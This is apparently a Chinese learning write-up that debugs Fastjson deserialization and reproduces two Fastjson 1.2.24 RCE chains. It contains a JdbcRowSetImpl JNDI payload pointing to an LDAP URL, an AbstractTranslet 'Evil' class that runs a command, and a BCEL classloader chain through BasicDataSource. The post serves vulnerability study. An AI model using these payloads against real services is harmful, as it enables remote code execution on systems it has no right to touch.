我们在JSON.parseObject上打断点,跟进到这里
然后跟进到JSONScanner
到这个位置时token为12
!!!我是煞笔!我没有仔细调试和看就说调不出来
上面那个截图取自我看的笔记,但是到我这里的代码长这个样子
我当时看到没有12就武断的认为自己代码的版本有问题,但是其实没有问题,因为如果我但凡在调试的时候在这个位置进行跟进, 也不会没有发现它这里代码重构成了这样
我就说哪里莫名其妙来的这个12
然后我们继续跟进
由于token是12,于是走到了这里
然后在这里的时候我并没有如预期一样走到了case 12的里面,经过我三次调试后还是没有找到parse这个方法在parseObject的这个重写方法中使用,于是我继续查找,发现存在在parseObject的这个重写方法中
之后我们一路跟进,走到case 12这里,然后我们进到parseObject中
到这里的时候发现是对json进行一系列的操作
这时这里的key已经是@type
了,然后我们继续跟进,发现下面还判定了对于开头是不是@type
的
然后我们发现它再次调用了scanSymbol,然后调用了类的加载器,之后进了loadClass这个方法, 这个方法首先判断mapping是否存在,然后如果存在就返回这个mapping的clazz对象
然后我们继续跟进,走到了获取反序列化构造器这里
然后继续跟进deserialize方法
然后跟进它重写方法里的方法
发现就是通过循环去遍历它,然后解析key和value
之后我们会到parseField方法中,之后又DefaultDeserializer类的this.setValue方法,
然后我们走到setValue这里,
发现这里调用了invoke
之后我们一路返回我们反序列化好的类,然后到这里
之后我们发现如果经过parse函数解析后的结果是属于JsonObject的,那么就直接返回,如果不是,则需要调用toJSON方法来让它变成JSONObject
之前在反序列化时调用的都是set方法,而在toJSON中,我们调用的都是get方法
然后就结束了
问题调试
在这里我发现进不去deserializer,也就是这里
就是如果这里我接着往下找,非但走不到下面,我甚至看不到它里面的东西,之后看了白日梦组长师傅的视频发现是因为我的asmEnable是开着的,所以这里会走到asm的deserializer中,于是我们需要把它关闭从而使他能走出来,于是他在
这个位置发现了对于通过判断getOnly值从而实现对asmEnable的赋值,于是开始查找在哪里可以实现对getOnly等于true的赋值,经过查找后发现在这里
那么我们就要走到这里
最后发现我们需要不满足getParameterType == 1,但是我们在build javaBean的时候的顺序是先通过for循环遍历set开头的方法,再遍历Field,之后再遍历get开头的方法,和Field,于是我们发现在set方法的这里
设置了一个check需要让getParameterType的值等于1,所以我们需要写一个只有get没有set方法的类来让我们的asmEnable关闭,从而走到Java的类中
于是我们将我们的代码改成这样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| package org.example;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.serializer.SerializerFeature;
import java.util.Map;
public class Person { private int age; private String name; private Map map; public Person() { System.out.println("构造函数"); } public int getAge() { return age; } public void setAge(int age) { this.age = age; } public Map getMap() { System.out.println("Map"); return map; } public static void main(String[] args){
JSON.parseObject("{\"@type\":\"org.example.Person\",\"age\":21}");
} }
|
这时候再走到这里时,就可以成功的进入deserializer方法中了
至于为什么我要添加一个Map类型可以看这里
我们需要进入这个add,所以我们需要确保自己创建的类型属于这几个其中一个
到这里,我们大概总结一下,就是我们在解析parseObject的时候先把参数当作字符串去解析,然后如果发现有@type
字段,就把它的值当java类去解析,刚刚所作的一切都是为了让我们拿到反序列化的构造器
为什么FastJson会有RCE问题
第一就是它对于@type
类型的解析,它用它的反序列化器去解析会调用它的构造方法
其次就是它在调用parse时会调用setter方法,在toJSON时会调用getter方法,或者是如果某个变量满足
那么也是可以通过调用非asm中的deserializer来调用getter的
就像这样,如果满足特定类型,它的getter也会呗调用
总之最后解释下来就是如果有某个类中有set方法,而且它符合我们刚才说的那几个条件且带有恶意代码, 那么我们就可以通过反序列化这个getter来远程执行代码,我们写一个evil类如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet { public Evil() throws IOException { Runtime.getRuntime().exec("calc"); }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
public static void main(String[] args) throws IOException { Evil t = new Evil(); } public void setCmd() throws IOException { Runtime.getRuntime().exec("calc"); }
}
|
然后我们继续加载
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| package org.example;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.serializer.SerializerFeature;
import java.util.Map;
public class Person { private int age; private String name; private Map map; public Person() { System.out.println("构造函数"); } public int getAge() { System.out.println("getAge"); return age; } public void setAge(int age) { this.age = age; System.out.println("setAge"); } public Map getMap() { System.out.println("getMap"); return map; } public static void main(String[] args){
JSON.parseObject("{\"@type\":\"org.example.Evil\",\"age\":21,\"map\":{}}");
} }
|
可以看到我们成功的在电脑中弹出了计算器
OK说完这一串儿,我们来进入今天的正题,也就是fastJson-1.2.24版本的漏洞
fastJson-1.2.24
JNDI注入
这里直接进入正题,就是在这个JdbcRowSet中找到了一个实现类在sun.rowset中,其中有一个connect类实现了
经过追踪后发现这个lookup中的字符串是可控的,那么我们就需要找到这个类然后去看看它的调用
根据我自己的理解,我选择了这个类
很好,经过一番查找,我没有找到这个类有任何set方法,于是也就符合我们的情况,某个类中只有getter,但是最可惜的是它的返回值并不是我们的特殊类型,所以其实这个是没有办法利用的
也就是,如果我们要走到toJson前提是前面那一段不能出错,所以我们还是选择后面那个,最后的payload如下
1
| {"@type":"com.sun.rowset.JdbcRowSetImpl","DataSourceName":"ldap://127.0.0.1:8085/dEZDkprz","AutoCommit":false}
|
缺点:受依赖和版本限制,且需要出网
Util.Classloader
这个链子是因为
这个里面有一个ClassLoader类,会对符合条件的类进行动态加载
那么我们先尝试吧
此时代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| package org.example;
import com.sun.org.apache.bcel.internal.classfile.Utility; import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException;
public class FastJsonJdbcRowSetImpl { public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException { ClassLoader classloader = new ClassLoader(); byte[] bytes = convert("D:\\知识库\\CTF\\WEB\\web_year2\\Java学习代码\\fastjson_learning\\fastjson_learning\\target\\classes\\org\\example\\Evil.class"); String code = Utility.encode(bytes,true); classloader.loadClass("$$BCEL$$"+code).newInstance(); } public static byte[] convert(String fileName) { File file = new File(fileName); try (FileInputStream fis = new FileInputStream(file)) { byte[] bytes = new byte[(int) file.length()]; fis.read(bytes); return bytes; } catch (FileNotFoundException e) { throw new RuntimeException(e); } catch (IOException e) { throw new RuntimeExcept(e); }
} }
|
接下来我们看看有没有地方调用LoadClass
最后我们找到了这里
就是如果我们把driverClassLoader换成我们之前看到的那个classloader,那么我们这里就走下去了
所以我们要看的就是这两个参数是否可控
最后我们发现其实是可控的
于是我们继续向上找
然后我们找到了这里,然后继续往上找
之后我们就找到了这里
然后我们编写测试代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| package org.example;
import com.sun.org.apache.bcel.internal.classfile.Utility; import com.sun.org.apache.bcel.internal.util.ClassLoader; import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.sql.SQLException;
public class FastJsonJdbcRowSetImpl { public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, SQLException { ClassLoader classloader = new ClassLoader(); byte[] bytes = convert("D:\\知识库\\CTF\\WEB\\web_year2\\Java学习代码\\fastjson_learning\\fastjson_learning\\target\\classes\\org\\example\\Evil.class"); String code = Utility.encode(bytes,true);
BasicDataSource basicDataSource = new BasicDataSource(); basicDataSource.setDriverClassLoader(classloader); basicDataSource.setDriverClassName("$$BCEL$$"+code); basicDataSource.getConnection(); } public static byte[] convert(String fileName) { File file = new File(fileName); try (FileInputStream fis = new FileInputStream(file)) { byte[] bytes = new byte[(int) file.length()]; fis.read(bytes); return bytes; } catch (FileNotFoundException e) { throw new RuntimeException(e); } catch (IOException e) { throw new RuntimeException(e); }
} }
|
这样我们就结束了这个版本的两个攻击方法的调试和复现,然后如果我们要使用刚才的方式来走这个链子的调用emmm
其实是一样的
先传dhcp那个,再写driverClassName再写loader再写classloader